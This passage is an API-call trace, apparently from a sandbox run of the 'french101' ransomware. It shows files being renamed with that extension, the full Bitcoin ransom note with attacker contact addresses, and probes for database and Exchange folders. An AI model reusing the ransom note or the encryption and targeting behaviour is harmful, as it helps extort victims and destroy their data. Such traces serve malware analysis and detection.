(hMem=0x3f40004) returned 0 [0282.964] CloseHandle (hObject=0x308) returned 1 [0282.966] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\2Tg4xH7Bxe1+pMm3tQ2pkBbd+rjDVGkI1dqO9P7iDgnq0A.french101" (normalized: "c:\\588bce7c90097ed212\\1055\\2tg4xh7bxe1+pmm3tq2pkbbd+rjdvgki1dqo9p7idgnq0a.french101")) returned 1 [0282.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\2Tg4xH7Bxe1+pMm3tQ2pkBbd+rjDVGkI1dqO9P7iDgnq0A.french101" (normalized: "c:\\588bce7c90097ed212\\1055\\2tg4xh7bxe1+pmm3tq2pkbbd+rjdvgki1dqo9p7idgnq0a.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.967] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0282.967] CloseHandle (hObject=0x308) returned 1 [0282.968] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\2Tg4xH7Bxe1+pMm3tQ2pkBbd+rjDVGkI1dqO9P7iDgnq0A.french101", dwFileAttributes=0x80) returned 1 [0282.968] CloseHandle (hObject=0x308) returned 0 [0282.968] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.968] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.968] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.968] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.968] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.968] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.968] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.969] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.969] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.969] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0282.969] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da1d0 [0282.969] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0282.969] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0282.969] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1055\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.969] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.969] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.969] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.970] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.970] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.970] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.970] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0282.970] CloseHandle (hObject=0x308) returned 1 [0282.970] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.970] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.970] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.970] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.970] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.970] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.970] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.970] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.970] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.970] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.970] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.971] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.971] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.971] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0282.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0282.972] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.972] GetLastError () returned 0x12 [0282.972] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0282.972] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.972] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.972] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.972] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.972] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.972] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.972] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.972] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.972] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.972] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0282.973] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.973] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.973] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.973] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.973] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.973] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.973] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.974] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.974] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.974] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.974] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.974] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.974] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.974] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.974] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.974] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.974] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.974] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.974] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.974] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.974] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.974] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.974] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.974] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.974] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.975] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.975] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.975] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.975] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.975] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.975] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.975] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.975] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.975] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.975] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.975] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.975] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.975] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.975] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.975] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.975] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.975] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.975] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.975] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.975] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.976] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.976] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.976] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.976] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.976] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.976] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.976] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.976] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.976] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.976] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.976] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.976] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.976] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.976] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.976] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.976] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.976] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.976] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.976] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.976] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.976] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.976] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.977] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.977] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.977] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.977] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.977] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.977] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.977] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.977] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.977] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.977] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.977] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.977] GetLastError () returned 0x12 [0282.977] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.977] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0282.977] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0282.977] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0282.978] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.978] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.978] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.978] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.978] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.978] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.978] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.978] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.978] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.978] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.978] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.978] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.978] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.978] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.978] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.978] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.978] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.979] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.979] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.979] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.979] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\2052", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\2052") returned 1 [0282.979] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.979] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.979] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.979] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.979] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.979] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.979] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.979] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.979] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.979] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.980] GetLastError () returned 0x3 [0282.980] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0282.980] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.980] GetLastError () returned 0x2 [0282.980] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0282.980] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.980] GetLastError () returned 0x2 [0282.980] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0282.980] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.981] GetLastError () returned 0x2 [0282.981] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0282.981] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.981] GetLastError () returned 0x2 [0282.981] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0282.981] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.981] GetLastError () returned 0x2 [0282.981] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0282.981] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.982] GetLastError () returned 